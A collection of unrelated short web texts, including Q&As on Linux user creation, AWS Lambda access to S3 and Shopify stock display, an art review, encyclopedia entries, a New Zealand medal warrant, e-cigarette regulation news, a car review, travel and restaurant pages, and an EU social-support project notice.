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Q: how do i create a user account in unix using CLI? I am using Redhat and I want to make a user account using CLI. I am using this commands but I guess it's not working.
# useradd smithj -c 'John Smith' -m
# passwd smithj

and the result should be
    Changing password for user smithj.
    New UNIX password:
    Retype new UNIX password:
    Passwd: all authentication tokens updated successfully.
Please shed some light on where I am going wrong.

A: The symbol #, as explained in another answer, represents the command line prompt. In this case # represents the root's command line prompt and $ represents the command line prompt for another user. So check you are executing those commands as root.

A: have you tried
useradd -c 'John Smith' -m smithj

according to man page for useradd
useradd [options] LOGIN

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Exhibition // Subculture: Highculture Duet
Article by Alena Sokhan in Berlin; Thursday, Aug. 01, 2013
On Saturday, Jul 20th 2013, the faintly neoclassical garden of the Schinkel Pavillon was filled with people drinking to the closing of Jeremy Shaw's exhibition Variation FQ. The setting could not have more suitable: the contrast between the old decor, just down the street from Unter den Linden, and the young and alternative crowd provided a compliment to the artwork itself. Variation FQ has a very simple and profound set up: viewers pass through a heavy curtain into a dark room in which a film is playing. A mix of string instruments and piano plays in the background, occasionally mixed with altered fragments of House music, which unexpectedly compliments the film–a recording of a sensual and aggressive improvisation by transsexual Vogue dancer Leiomy Maldonado.
em>Jeremy Shaw – "Variation FQ" (2013), film still; courtesy of the artist
Variation FQ references Norman McLare's 1968 film Pas de Deux in which two ballet dancers dance a duet against a stark black background. In Shaw's film, the duet is reduced to the one Maldonado, a solitary white figure in a black room who contains within herself both gender roles and dances both parts of the duet.
Maldonado's dance is both elegant and strong. She sways confidently on 15 cm stiletto heels, suddenly collapsing her body backwards and hitting the floor with her back and shoulders in a carefully orchestrated fall. The impact throws her body upwards and she regains her upright position, continuing to dance. The style is called Vogue, a non-mainstream genre of dance developed in New York in the 1980's. Little known outside of a small community of practicers, Vogueing can be best understood by consuming hours of youtube videos of the dance battles, elegant and raw competitions in which two Voguers will try to pin the other down through dance.
Jeremy Shaw – "Variation FQ" (2013), installation view at Schinkel Pavillon; photo by Nick Ash
Artist Jeremy Shaw is fascinated with subcultures, with non-institutionalized forms of group expression or diversion from the problems of the present through activities like dance, religion, or drugs. Shaw takes Vogueing out of the grungy clubs of the Bronx and into the black and white landscape that mimics Norman McLare's film, projecting it in the Schinkel Pavillon with an old 16mm projector. Mixing the aesthetics of a subculture dance with conventional "high-culture" artistic expression results in the contradictory elements of Variation FQ, revealing the potential of art to explore new, contemporary culture within the medium of previous forms. Variation FQ captures the moment of transformation as a new, alternative dance form becomes absorbed into and changes the conventions of artistic expression.
Jeremy Shaw – "Variation FQ" (2013), film still; courtesy of the artist
Leiomy Maldonado is a major figure in the Vogue dance scene. Shaw was drawn to her because of her power and the masculine violence that infiltrates her highly feminine movements. Stressing these moments where the brutality comes through the otherwise graceful and feminine dance, for example when Maldonado twists or her body impacts, Shaw uses step-and-repeat filmmaking to turn the movement into a cascade of body and motion. This repeated and isolated moment, stretched into minutes, becomes physically tangible to the viewer, though the movement is abstracted beyond recognition. It also reveals Shaw's engagement with the dancer through artistic manipulation, in some ways completing the duet within the medium of film.
Below is a short compilation of clips of Voguing battles for your enjoyment:
Jeremy Shaw is a multimedia artist from Vancouver, Canada, now living in Berlin. Shaw's work usually explores some area of underground culture and alternative forms of social expression. You can find more information about his projects here

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Kondariotissa (griego: Κονταριώτισσα), también Kontariotissa, a veces conocida como Kountouriotissa (Κουντουριώτισσα), es un pueblo o villa en la parte norte de Grecia. Está ubicada en la unidad periférica de Pieria, al sur de la capital de esta, Katerini, y pertenece al municipio de Díon-Olimpo. La población de Kondariotissa es 1981 (2001 est.).

El acceso más cercano a la vía GR-1 se ubica al Este a tres o cuatro millas de distancia. La ocupación principal de sus población es participar de las faenas relacionadas con el cultivo del tabaco.

La Iglesia Bizantina de la Virgen María es uno de los lugares que más atrae visitantes (Naos Kimiseos Theotokou). También existe un nuevo monasterio denominado Osios Ephrem, construido en 1983.
La población de Kondariotissa se remonta a tiempos antiguos cuando se solía denominar con el mote de Pieris (Πιερίς, en griego). El nombre de Pieria tiene su origen en las tribus antiguas de Pieris. El nombre de Pieris también se explica a base de las áreas revestidas de lomas que abundan en esta zona. El nombre de Kondariotissa se consolidó en la época medieval.
La principal fuente de producción para los cerca de 2000 habitantes emana del tabaco. El 1º de julio de 2002, una tormenta de granizo devastó la cosecha y las fincas, hecho que arruinó gran parte de la producción tabacalera. Hoy, la mayoría de sus habitantes son criadores.

Geografía
Ubicación
Longitud: 22.46 (22°27'46") E
Latitud: 40.225 (40°13'36") N
Código Postal: 601 00
Elevación: 60 metros
Código telefónico: +11+30-23510 (030-23510)

Población a través de la historia

Tradición

Kondariotissa cuenta con un pequeño jardín de infancia, una escuela, iglesia, casa alcaldía y plaza. Además, existe una Asociación Cultural activa llamada "Pieres".

Una de las tradiciones principales es la quema de Judas, llamada Οβρηός (Ovrios). Esta tradición prevalece no solo en Macedonia sino que también en otras áreas de Grecia. Dicha tradición se considera como una que emanó de los refugiados griegos que llegaron a la Grecia actual desde Yenikoy en Asia Menor. Dichos refugiados llegaron a Kondariotissa como resultado de la crisis de Asia Menor que estalló en 1923.

La tradición de Ovirios se celebra cada año, sólo el día de Viernes Santo, en el que la Pasión de Cristo es lamentada por los cristianos ortodoxos que permanecen justo afuera de la iglesia. Los niños y jóvenes preparan la hoguera en la mañana del mismo día de Viernes Santo. Visten a un títere en ropa de persona anciana que, a su vez, es erguida en una estaca alta que evoca a Judas Iscariote y su traición a Jesucristo. La población prende fuego a la imagen de Judas y ésta se quema hasta que se consume.

Luego de esta tradición, se muestra el epitafio.

Enlaces externos
Mapquest - Kondariotissa, información del callejero (mapa del red de calles) aún no disponible
Coordenadas:

Localidades de la periferia de Macedonia Central

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Abstract: This dissertation examines word order variation in the Koine Greek of the New Testament Greek in a variety of domains: declarative clauses, questions and relative clauses. In particular, I examine the way in which word order corresponds to information structure. It is argued that although New Testament Greek shows a variety of possible permutations of the sentence elements subject (S), verb (V) and object (O), in declarative clauses, questions and relative clauses, the word order is not free. Rather, it is partly governed by phrase structure and partly by information structural considerations such as Topic and Focus. This is manifested in all of the domains investigated. I argue that the basic word order is best described as VSO with an SVO alternative basic word order. Marked clauses, such as SOV, OVS, OSV and also some SVO clauses involve topicalization or focus movement of the arguments. This thesis is of interest to syntacticians who are interested in word order and the syntax-pragmatics interface as well as to historical linguistics and classics scholars.


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The New Zealand 1990 Commemoration Medal
as at 16 February 1990
(SR 1990/24)
Elizabeth R
Royal Warrant
Changes authorised by section 17C of the Acts and Regulations Publication Act 1989 have been made in this reprint.
A general outline of these changes is set out in the notes at the end of this reprint, together with other explanatory material about this reprint.
This warrant is administered by the Department of the Prime Minister and Cabinet.
Elizabeth the Second, by the Grace of God Queen of New Zealand and Her Other Realms and Territories, Head of the Commonwealth, Defender of the Faith, to all to whom these presents shall come,
Whereas We are desirous of recognising, during the various 1990 celebrations in Our Realm of New Zealand, the achievements of New Zealanders and of other persons who have made a recognised contribution to New Zealand:
We do by these presents institute and create a new Medal.
3 Ribbon
4 Eligibility of Royalty
5 Eligibility of Governor-General and Prime Minister
6 General eligibility
7 Honorary eligibility
8 Period of issue
9 Certificate
11 Registration
12 Order of wear
13 Miniatures
14 Forfeiture and restoration
15 Annulment
The Medal shall be designated and styled "The New Zealand 1990 Commemoration Medal" .
The Medal shall be of gilt metal and circular in shape, bearing on the obverse the Effigy of the Sovereign surrounded by the inscription "ELIZABETH II • QUEEN OF NEW ZEALAND" , and on the reverse the official 1990 Symbol (a stylised Kotuku, White Heron) surrounded by the inscription "NEW ZEALAND 1990 COMMEMORATION" .
The Medal shall be worn on the left breast suspended by a ribbon, 32 millimetres in width, of nine narrow stripes of red ochre, white, red ochre, white, black, white, red ochre, white, and red ochre:
provided that, where the Medal is worn by a woman, it may be worn on the left shoulder suspended by the ribbon fashioned into a bow.
The Medal may be awarded at Our Pleasure upon any Princes or Princesses of the Blood Royal and any other Members of Our Royal Family.
The Medal shall be worn—
(a) by Our Governor-General and Commander-in-Chief in and over Our Realm of New Zealand; and
(b) by Our Prime Minister of New Zealand.
The Medal shall be awarded to selected persons, who are New Zealand citizens or citizens of Commonwealth Countries of which We are Queen and who have, by their virtues, talents, and loyalty, made a recognised contribution to New Zealand.
The Medal shall be awarded to selected persons, who are citizens of Commonwealth Countries of which We are not Queen or of Foreign Countries and who have, by their virtues and talents, made a recognised contribution to New Zealand.
The Medal shall be awarded only during the year 1990.
The award of the Medal shall be accompanied by a certificate signed by Us and countersigned by Our Governor-General and Prime Minister of New Zealand.
(1) The Medal shall be awarded by Us or (except under the terms of clause 4 or clause 5 of this Our Royal Warrant) by Our Governor-General of New Zealand.
(2) Each award of the Medal under this clause shall be made on a recommendation by Our Prime Minister of New Zealand or a Minister of the Crown acting for or in the place of Our Prime Minister.
The names of all those to whom the Medal is awarded shall be recorded in a register kept by the Clerk of Our Executive Council of New Zealand.
In the official list showing the order in which Orders, Decorations, and Medals shall be worn, the New Zealand 1990 Commemoration Medal shall in Our Realm of New Zealand be placed immediately after coronation and jubilee medals.
(1) Reproductions of the Medal in miniature, which may be worn on certain occasions by those to whom the Medal is awarded, shall be approximately half the size of the New Zealand 1990 Commemoration Medal.
(2) A sealed pattern of the miniature Medal shall be deposited with and kept by the Clerk of Our Executive Council of New Zealand.
(1) It shall be competent for Us or (except in the case of an award of the Medal under clause 4 or clause 5 of this Our Royal Warrant) Our Governor-General of New Zealand,—
(a) to cancel and annul the award of the Medal to any person; and
(b) where the award of the Medal to any person has been cancelled or annulled, to restore the Medal to that person.
(2) Where the Medal has been awarded under clause 10 of this Our Royal Warrant, any cancellation, annulment, or restoration of the award of the Medal shall be made on a recommendation by Our Prime Minister of New Zealand or a Minister of the Crown acting for or in the place of Our Prime Minister.
We reserve to Ourself, Our Heirs and Successors, full power of annulling, altering, abrogating, augmenting, interpreting, or dispensing with this Our Royal Warrant, or any part thereof, by a notification under Our Sign Manual.
Given at Our Court at Government House, Wellington, this 9th day of February 1990, in the 39th year of Our Reign.
By Her Majesty's Command,
Geoffrey Palmer,
Prime Minister of New Zealand.
Issued under the authority of the Acts and Regulations Publication Act 1989.
1General
2Status of reprints
3How reprints are prepared
4Changes made under section 17C of the Acts and Regulations Publication Act 1989
5List of amendments incorporated in this reprint (most recent first)
This is a reprint of The New Zealand 1990 Commemoration Medal. The reprint incorporates all the amendments to the warrant as at 16 February 1990, as specified in the list of amendments at the end of these notes.
Relevant provisions of any amending enactments that contain transitional, savings, or application provisions that cannot be compiled in the reprint are also included, after the principal enactment, in chronological order. For more information, see http://www.pco.parliament.govt.nz/reprints/ .
2 Status of reprints
Under section 16D of the Acts and Regulations Publication Act 1989, reprints are presumed to correctly state, as at the date of the reprint, the law enacted by the principal enactment and by the amendments to that enactment. This presumption applies even though editorial changes authorised by section 17C of the Acts and Regulations Publication Act 1989 have been made in the reprint.
This presumption may be rebutted by producing the official volumes of statutes or statutory regulations in which the principal enactment and its amendments are contained.
3 How reprints are prepared
A number of editorial conventions are followed in the preparation of reprints. For example, the enacting words are not included in Acts, and provisions that are repealed or revoked are omitted. For a detailed list of the editorial conventions, see http://www.pco.parliament.govt.nz/editorial-conventions/ or Part 8 of the Tables of New Zealand Acts and Ordinances and Statutory Regulations and Deemed Regulations in Force.
4 Changes made under section 17C of the Acts and Regulations Publication Act 1989
Section 17C of the Acts and Regulations Publication Act 1989 authorises the making of editorial changes in a reprint as set out in sections 17D and 17E of that Act so that, to the extent permitted, the format and style of the reprinted enactment is consistent with current legislative drafting practice. Changes that would alter the effect of the legislation are not permitted.
A new format of legislation was introduced on 1 January 2000. Changes to legislative drafting style have also been made since 1997, and are ongoing. To the extent permitted by section 17C of the Acts and Regulations Publication Act 1989, all legislation reprinted after 1 January 2000 is in the new format for legislation and reflects current drafting practice at the time of the reprint.
In outline, the editorial changes made in reprints under the authority of section 17C of the Acts and Regulations Publication Act 1989 are set out below, and they have been applied, where relevant, in the preparation of this reprint:
•omission of unnecessary referential words (such as "of this section" and "of this Act" )
•typeface and type size (Times Roman, generally in 11.5 point)
•layout of provisions, including:
•indentation
•position of section headings (eg, the number and heading now appear above the section)
•format of definitions (eg, the defined term now appears in bold type, without quotation marks)
•format of dates (eg, a date formerly expressed as "the 1st day of January 1999" is now expressed as "1 January 1999" )
•position of the date of assent (it now appears on the front page of each Act)
•punctuation (eg, colons are not used after definitions)
•Parts numbered with roman numerals are replaced with arabic numerals, and all cross-references are changed accordingly
•case and appearance of letters and words, including:
•format of headings (eg, headings where each word formerly appeared with an initial capital letter followed by small capital letters are amended so that the heading appears in bold, with only the first word (and any proper nouns) appearing with an initial capital letter)
•small capital letters in section and subsection references are now capital letters
•schedules are renumbered (eg, Schedule 1 replaces First Schedule), and all cross-references are changed accordingly
•running heads (the information that appears at the top of each page)
•format of two-column schedules of consequential amendments, and schedules of repeals (eg, they are rearranged into alphabetical order, rather than chronological).
5 List of amendments incorporated in this reprint (most recent first)


Federal control has come a step closer for the U.S. e-cigarette market this week, with the Food and Drug Administration (FDA) sending its proposed deeming regulations to the White House office responsible for their final review.
On Monday, the FDA sent the regulations – which deem e-cigs to be tobacco products, and thereby bring them under the agency's authority – to the Office of Information and Regulatory Affairs (OIRA) within the Office of Management and Budget (OMB) in the White House.
The OMB's main role in the deeming regulations process is to ensure that they comply with overall federal policies set by the White House.
Its approval is the final step before the deeming regulations are published and become effective. It could send the regulations back to FDA for further revisions, but will likely approve them and allow them to move forward to publication.
There is no strict timetable for the OMB to comment, although it typically responds to agencies within 60 days.
However, its review could take weeks or months. During this time, the OIRA will consult with stakeholders to assess any unintended consequences that the regulations could have on the vapour industry.
They have been labelled as "economically significant" priorities, which "will be likely to have international trade and investment effects, or otherwise be of international interest". Several industry groups have said that they will be in contact with the OIRA, including the Smoke Free Alternatives Trade Association (SFATA) and the Consumer Advocates for Smoke-Free Alternatives Association (CASAA).
These groups' representations to the White House are likely to focus on widely-expressed concerns over the deeming regulations, including the cost of obtaining approval from the FDA for each e-cigarette product – reportedly estimated by the regulatory consultancy SciLucent at $2m-10m per item – and the lack of a meaningful "grandfathering" exemption for existing products.
It is not certain, however, exactly what the FDA has submitted to the OMB. The latest version of the deeming regulations could well differ from the text published for public comment last April, if the agency has decided to make changes based on that feedback.
The OMB previously reviewed the proposed rule before its publication last April by the FDA.
What This Means: The mere fact that the deeming regulations have moved to the OMB provides few clues as to the FDA's final decisions on their content, although it certainly raises the possibility that no measures on child-proofing have been included, despite being called for by many in Washington and elsewhere.
After all, the FDA omitted those from the first published version, and a public consultation period on their inclusion only finished a few weeks ago: can there have been time for the agency to digest the comments and craft a policy accordingly?
In any case, what the progress of the regulations to the OMB surely does mean is that we can now expect their final publication in a few months at the most, unless – as seems unlikely – the OMB demands substantial changes.
Meanwhile, there may now also be renewed Congressional interest in the Cole bill that would provide a workable grandfathering date for e-cigs, allowing existing products to stay on the market without going through the full FDA approval procedure. That might be a bigger victory for the sector than anything else which could be achieved with the OMB.


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263-я бомбардировочная авиационная дивизия (263-я бад) — авиационное соединение Военно-Воздушных сил (ВВС) Вооружённых Сил РККА бомбардировочной авиации, принимавшее участие в боевых действиях Великой Отечественной войны.

История наименований дивизии

 263-я истребительная авиационная дивизия;
 263-я бомбардировочная авиационная дивизия;
 1-я гвардейская бомбардировочная авиационная дивизия;
 1-я гвардейская бомбардировочная авиационная Кировоградская дивизия;
 1-я гвардейская бомбардировочная авиационная Кировоградская Краснознамённая дивизия;
 1-я гвардейская бомбардировочная авиационная Кировоградская Краснознамённая ордена Богдана Хмельницкого дивизия;
 164-я гвардейская бомбардировочная авиационная Кировоградская Краснознамённая ордена Богдана Хмельницкого дивизия;
 Полевая почта 78597.

История и боевой путь дивизии
В соответствии с Приказом НКО 263-я истребительная авиационная дивизия 14 сентября 1942 года была переформирована в 263-ю бомбардировочную авиационную дивизию. Дивизия была выведан в резерв ставки ВГК и переформирована. 18 сентября 1942 года дивизия вошла в состав 1-го бомбардировочного авиационного корпуса.

С 22 октября 1942 года дивизия вступила в боевые действия на Калининском фронте в составе 3-й воздушной армии участвуя с 24 ноября 1942 года по 20 января 1943 года в Великолукской операции, с 29 января дивизия в составе корпуса вошла в состав 14-й воздушной армии Волховского фронта, где приняла участие в прорыве блокады Ленинграда (Операция «Искра») по 30 января 1943 года. С 15 февраля дивизия приняла участие в Демянской операции в составе 14-й воздушной армии Волховского фронта, а с 21 февраля — в 6-й воздушной армии Северо-Западного фронта.

За организованность и хорошую боевую работу, за доблесть и мужество, проявленные воинами дивизии в борьбе с немецкими захватчиками
263-я бомбардировочная авиационная дивизия 6-й воздушной армии Северо-Западного фронта приказом НКО СССР № 128 от 18 марта 1943 года преобразована в 1-ю гвардейскую бомбардировочную авиационную дивизию.

В действующей армии
В составе действующей армии дивизия находилась:
 с 22 октября 1942 года по 18 марта 1943 года.

Командир дивизии

В составе объединений

Части и отдельные подразделения дивизии
За весь период своего существования боевой состав дивизии претерпевал изменения, в различное время в её состав входили полки:

Присвоение гвардейских званий
За организованность и хорошую боевую работу, за доблесть и мужество, проявленные воинами дивизии в борьбе с немецкими захватчиками 18 марта 1943 года приказом Народного комиссара обороны СССР № 128 от 18 марта 1943 года:
 263-я бомбардировочная авиационная дивизия преобразована в 1-ю гвардейскую бомбардировочную авиационную дивизию;
 46-й скоростной бомбардировочный авиационный полк преобразован в 80-й гвардейский бомбардировочный авиационный полк.
 202-й скоростной бомбардировочный авиационный полк преобразован в 81-й гвардейский бомбардировочный авиационный полк.
 321-й ближний бомбардировочный авиационный полк преобразован в 82-й гвардейский бомбардировочный авиационный полк.

Примечания

Литература

См. также
 Список операций вооружённых сил СССР во Второй мировой войне

Ссылки
 Журнал боевых действий 1 гв. бад 2 УкрФ
 Герои Второй Мировой
 Боевой состав ВВС
 164-я бомбардировочная Кировоградская ордена Богдана Хмельницкого авиационная дивизия

Бомбардировочные авиационные дивизии СССР во время Великой Отечественной войны
Воинские части и формирования, созданные в 1942 году
Воинские части и формирования, расформированные в 1943 году
Участники Ржевской битвы
Участники битвы за Ленинград


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Q: AWS Lambda can't retrieve file from an Amazon S3 Bucket in same network I have a AWS project that contains a S3 bucket, RDS database and Lambda functions.
I want Lambda to have access to both the S3 bucket and the RDS database.
The Lambda functions connects to the RDS database correctly but it times out when trying to retrieve an object from the S3 bucket:
Event needs-retry.s3.GetObject: calling handler <bound method S3RegionRedirectorv2.redirect_from_error of <botocore.utils.S3RegionRedirectorv2 object at 0x7f473a4ae910>>
...
(some more error lines)
...
botocore.exceptions.ConnectTimeoutError: Connect timeout on endpoint URL: "https://{bucket name}.s3.eu-west-3.amazonaws.com/{file name}.tar.gz"

So I understand that the reason would be that Lambda doesn't have internet access and therefor my options are:

*

*VPC endpoint (privatelink): https://aws.amazon.com/privatelink

*NAT gateway for Lambda

But both go over the cloud (in same region), which doesn't make any sense as they are both in the same project.
It's just a redundant cost for such a detail and there must be a better solution right?

A: Maybe it helps you to think of the S3 bucket "in the same project" as having permission to use an object system that resides in a different network outside your own. Your lambda is in VPC but S3 objects are not in your VPC. You access them using either public end-points (over the internet) or privately by establishing S3 Gateway endpoint or VPC Interface Endpoint. Neither uses public internet.
As long as you are staying in the same region, S3 gateway endpoint actually does not cost you money but if you need to cross regions, you will need to use VPC Interface endpoint. The differences are documented here: https://docs.aws.amazon.com/AmazonS3/latest/userguide/privatelink-interface-endpoints.html
If you are trying to avoid costs, S3 gateway might work for you, however, you will need to update your route tables that's associated with the gateway. The process is documented here: https://docs.aws.amazon.com/vpc/latest/privatelink/vpc-endpoints-s3.html


Hi all, I was just looking through SeatGeek for tickets to the Nassau Coliseum show and found great prices for the 100 levels. They're showing $146 tickets for some of the 100 levels and sub $100 tickets for the upper levels. The tickets are through TicketNetwork and I was just wondering if anyone had experience buying tickets through them since these tickets look like a great deal. Thanks!
Hey all, On Ticketmaster, it looks like you can filter $35 100 Section tickets and $70 GA tickets as well. I tried to get these for the 1st NJ show the minute they opened and couldn't get through. My question is, do tickets for these sections at these prices actually exist? If so how can one snag them before they're all gone? I'm going to try again for public sale this morning for the 2nd NJ show, but would love advice on how to get these. Thanks guys!
I was in the Chase Bridges(the highest section) for NYC8 last night, and it got VERY loud. Then again, that could be because the Chase Bridges are closer to the speakers than the nosebleed seats are but still, it got VERY loud. For me, it wasn't really a problem and I didn't see anyone with earplugs.


Indeed this adage holds true when one looks at the exterior styling of the resurrected Supra. Whereas other models in Toyota's hierarchy have about as visual excitement as watching the Antiques Roadshow on TV, the exterior styling of the Supra is like jumping head first into a futuristic sci-fi movie. Alot of the styling elements that first made their initial appearance on the FT-1 concept several years ago have transitioned very nicely into the finished product. The front fascia is very aggressive, and embodies a high tech infused assertiveness that few other sports cars can match. The side profile transitions nicely into exaggerated rear fender flares, and an equally aggressive rear end with slender taillamps and more muscular details in the trunk area.
Toyota claims that the exterior styling was honed as a result of lessons learned on the race track, while retaining the raw emotion that exists when pushing a sports car to its very limits. In a way, it reminds us of some of the styling mojo that exists in many current Ferrari models, but the Supra brings this unique level of aesthetic flair and presentation to buyers at a far lower price point, which is an impressive feat in and of itself. We are glad that Toyota chose to embark on a very bold approach with the Supra, and even if it does not sell very many units for Toyota dealers, it should still fulfill its role as a very potent halo car for the brand, especially in adding more customers to its growing lineup of CUV and SUV models.
The interior of the Supra is all business, and eschews alot of the luxury and gimmickry seen in similarly priced models for a back to basics approach to motoring. Functionality is very abundant here, with the low and narrow sectioned dash provides expansive forward visibility which is a valuable aide in helping a driver place the Supra perfectly in sharp corners. the gauge cluster adopts a single meter layout with all relevant driving information located at the drivers line of sight either through the aforementioned gauge, or in the heads up display. All multimedia and other infotainment focused info is relegated to the right side of the cluster which helps reduce driver distraction, and allows them to keep their attention on the road.
The rest of the cabin is nicely constructed, with the center console featuring an asymmetrical layout, as well as protrusions for the climate control functions that allow drivers to operate them without averting their eyes away from the road. There is some hints of BMW in the way the steering wheel and other key components are laid out, but this is still a very distinctive model, and it does a very good job differentiating itself from its fraternal twin the BMW Z4 roadster.
The Supra was designed to be a GT with a healthy balance of standard and luxury goodies. Keyless entry is standard, and the Supra will also bring a rear backup camera, dual zone climate control, power folding mirrors, a leather wrapped steering wheel, and other goodies.
Performance for the 2020 Supra comes from BMW's 3.0 liter turbocharged straight six that produces a very robust 335 horsepower, and an equally stout 365 lb-ft of torque. Torque delivery was designed to take place very low in the torque band, which gives the Supra assertive acceleration from a standing start. This is mainly due to the twin scroll turbochargers, as well as the variable intake lift system and direct injection. But, while the legend has indeed returned, it has also bowed to the latest trend of eschewing manual transmissions with an eight speed automatic being the sole transmission offering available. The eight speed does indeed promise smooth and precise shifting, but we personally prefer the higher level of driver involvement that a traditional three pedal setup brings to the equation. That said, the eight speed does allow the Supra to make the sprint to 60 mph in 4.1 seconds, before topping out at 155 mph.
Keeping with the theme of simplicity, the Supra will only offer buyers two driving modes (Normal and Sport) with each mode bringing something unique to the driving experience. Naturally, Sport mode is where the bulk of the Supra's track capability is housed, and it truly allows the Supra to be in its element when pushed hard in the hands of a skilled driver.
The mode also reduces intervention by the traction control system, sharpens up throttle response, increases shift accuracy, as well as amplifies the noise generated by the exhaust system. The Supra will also offer an electronically controlled Active Diffrential system that is designed to help control lateral torque, and actually controls the amount of torque that is sent to the rear wheels at any given moment. This allows the Supra to have greater poise in the corners, and give drivers more confidence and control over the driving experience.
When the 2020 Toyota Supra eventually makes its way to Toyota showrooms, it will start at $49,990 before any optional extras are factored into the equation. It will be offered in two distinct grades, the base 3.0 model, and the higher end 3.0 Premium. The most noticeable calling card between the two will be the seats, with the base model featuring Alcantara cloth seats, and the higher end Premium featuring stitched heated leather seats.
Buyers and collectors that are anxious to be among the first to own a Supra, can take solace knowing that the first 1,500 models produced will be special Launch Edition models which wield a base MSRP of $55,250, and come equipped with red leather accents, high contrast red mirror caps, and 19-inch forged aluminium wheels. The lone exception is red hued Supra launch editions, which will feature an all black leather interior with carbon fiber accents.
Our advice is to wait until the initial hype dies down before ordering a Supra so you can avoid some of the creatively insane markup prices that some Toyota dealers may employ to try and make a few extra thousand on such a popular model.
Either way, look for the Supra to arrive at a Toyota showroom near you during the first half of the year, and see for yourself why the world is very happy to have the Supra back on the road again.


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Le Mans to Saint-Malo by train
Travelling from Le Mans to Saint-Malo by train
Fast trains from Le Mans to Saint-Malo take around 1 hour and 42 minutes, covering a distance of approximately 178 kilometres. There are frequent services on the rail route between Le Mans and Saint-Malo.
1. Are there direct trains from Le Mans to Saint-Malo?
Direct trains from Le Mans to Saint-Malo have been found.
We usually find around 3 direct trains on the route from Le Mans to Saint-Malo every weekday.
Trains are typically more frequent on weekends, when we found around 5 departures.
2. How long is the train journey from Le Mans to Saint-Malo?
The Le Mans to Saint-Malo train travel time is normally about 1 hour and 42 minutes, whatever time you make the journey.
3. What are the Le Mans to Saint-Malo train times and schedule?
On weekdays the earliest direct train to Saint-Malo is usually scheduled to depart Le Mans around 09:06 and the last train is around 21:20. At weekends the first train of the day leaves Le Mans around 09:06, and the last at 20:09.
When to book Le Mans to Saint-Malo train tickets?
Trains in France usually open for booking around 3 months in advance. If booking is not yet open for your dates then you can set a booking alert to receive an email on the day that the cheapest tickets are released for your journey from Le Mans to Saint-Malo by train.
Which train companies operate between Le Mans and Saint-Malo?
More than one train company operates on the route from Le Mans to Saint-Malo, so you'll be travelling with one or more of the following rail operators:
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There's pasta, a neon-lit staircase and dancing (maybe).
There's fine dining, and there's fun dining. And for the Full Circle collective – the team behind good times and good pasta pop-ups Alfio's and Wilmer – nothing spells fun like positioning its latest Italian restaurant project, Don Peppino's, in a former nightclub on Oxford Street.
With a 12-month lease, it's the group's the longest tenancy yet. And what a brilliant space the collective has secured – the venue formerly known as the Grand Pacific Blue Room. During its heyday in the 1990s it was the party place to see and be seen.
The nightclub relics still remain – an oversized chandelier here, a faux marble staircase there – but it's all part of the charm.
The collective's 2014 Leichhardt pop-up Alfio's had all the trappings of an old-school Italian trattoria, with red-brick archways and a faded beach-scene mural. But on this corner of Paddington, "You can't put daggy Italian into a '90s nightclub," says Daniel Johnston (Vini, Berta), who co-owns the project with Harry Levy (Bar Brose, Love, Tilly Divine) and Tom Merryweather (Cornersmith).
At Don Peppino's, it's about embracing what you've got, and they've got a neon-lit staircase. "On the first day [we moved in] that really set the tone for us. Every day, we find a new light switch," he says.
On the day of Broadsheet's visit, they'd just discovered a toggle that lights the men's bathroom sinks with a cool blue glow.
As for what's coming out of the kitchen, just because they're cooking fun food, doesn't mean it's slapdash. There's a succinct menu that changes weekly, with an antipasti selection from the cold bar, and "maybe a nice piece of fish" for secondi. They're to share, but the pastas are not.
"I don't not like sharing food, but when it comes to pasta … I really like eating a bowl to myself," Johnston says, adding the team plans to experiment with the pasta extruder, a mechanised pasta contraption that efficiently turns semolina dough into spaghetti and the like.
Drinks will be compiled by Levy and Full Circle's partner-in-wine, collaborator Sally Rainbow. Expect plenty of natural and Italian vino, and bang-for-your-buck house wines from kegged-wine producers Sparrow & Vine. Normally, its wines are dispensed through a tap system, but given the restaurant's temporariness there is no point installing the "tap infrastructure".
"[Instead] it's going to be the old keg and squirter", says Johnston, referring to the hand-held bowser that will be attached to the wine keg.
Once upon a time, the space that is now the Don Peppino's 60-person dining room was a bar and dance space, and it has the elevated DJ platform to prove it. Johnston says they've got a restaurant (and not a bar) licence that runs until midnight, but there's nothing to stop patrons from pushing the tables aside to form a dance floor, and for a scratch-savvy punter to take the decks for a spin.
"I'd love it if on Friday nights it became a place you go for dinner and maybe a bit of a dance. But then we're going to kick everyone out at 11.45pm," he says.
This article first appeared on Broadsheet on October 18. 2018. Menu items may have changed since publication.


The new EU-funded project "Returning PATH: Promoting Access To basic Human rights for vulnerable women and men" started in Uzbekistan with the objective to provide psychological and legal support, as well as vocational training to the representatives of vulnerable parts of the population through the establishment of the National Social Support Centre (NSSC) in Tashkent.
The two-year project will be implemented by the German Adult Education Association (DVV International) and will cover at least 1.200 vulnerable women and men – ex-prisoners, people addicted to illicit drugs, people living with HIVinfection and TB-patients, and others from Tashkent and the Tashkent region. Potential stakeholders are representatives of state bodies, local self-government bodies, NGOs, Media, and specialists working with vulnerable populations (ex-prisoners, people addicted to illicit drugs, people living with HIV-infection and TB-patients and others).
In general, the project appeals to organisations interested not only in promoting a tolerant attitude towards ex-prisoners, people addicted to illicit drugs, people living with HIV-infection and TB-patients, but also in assisting them in restoring their social relationships, supporting when looking for a job and forming a sustainable motivation in reintegrating these groups to the society.
To form tolerant attitude towards ex-prisoners, people addicted to illicit drugs, people living with HIV infection and TB-patients.
To restore the social relationships; acquiring (self-)employment through vocational education.
To form sustainable motivation for searching a place in the society.
To involve representatives of governmental bodies, civil society organisations to participate in solving problems of the target groups.
Within the project, visitors are being provided with free of charge legal consultations, psychological and medical care (including referring to the related medical specialist). In addition, the comprehensive social guidance programme is being offered to the most motivated visitors. This includes not only obligatory consultations, but also the opportunity to participate in vocational education courses (1 free of charge course out of 5-7 programmes with the duration of 1-2 months), gain knowledge and skills, medical and other services (such as access to the Internet and social media).
Project activities also include organisation of round-tables, workshops and work meetings for the stakeholders as governmental agencies, local self-governing authorities, NGOs and non-governmental educational organisations, in order to better coordinate joint efforts and ideas.
Pilot NSSC is established, equipped, and well-functioning (comprehensive capacity building is provided; efficient institutional management system and the respective software are elaborated and introduced; services are developed, introduced and standardised).
Expanded excess for the vulnerable target groups to qualitative social services of established Centre is ensured and concept for further replication and dissemination is elaborated and presented.
Partnership mechanism(s) with other stakeholders and favourable environment around the newly established institutions are created and promoted.


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Q: Shopify show stock when quantity is lower than 2 I have built this code snippet for my shopify store to display more information in the dropdown field. With the change, the status is now also displayed next to the size selection. Available or Sold Out. Unfortunately I can't get it solved that if the stock quantity on a variant is less than 2, that the system then displays the text. Only 1 available.
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A: You should be able to add another if statement within the option itself, like this:
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      >
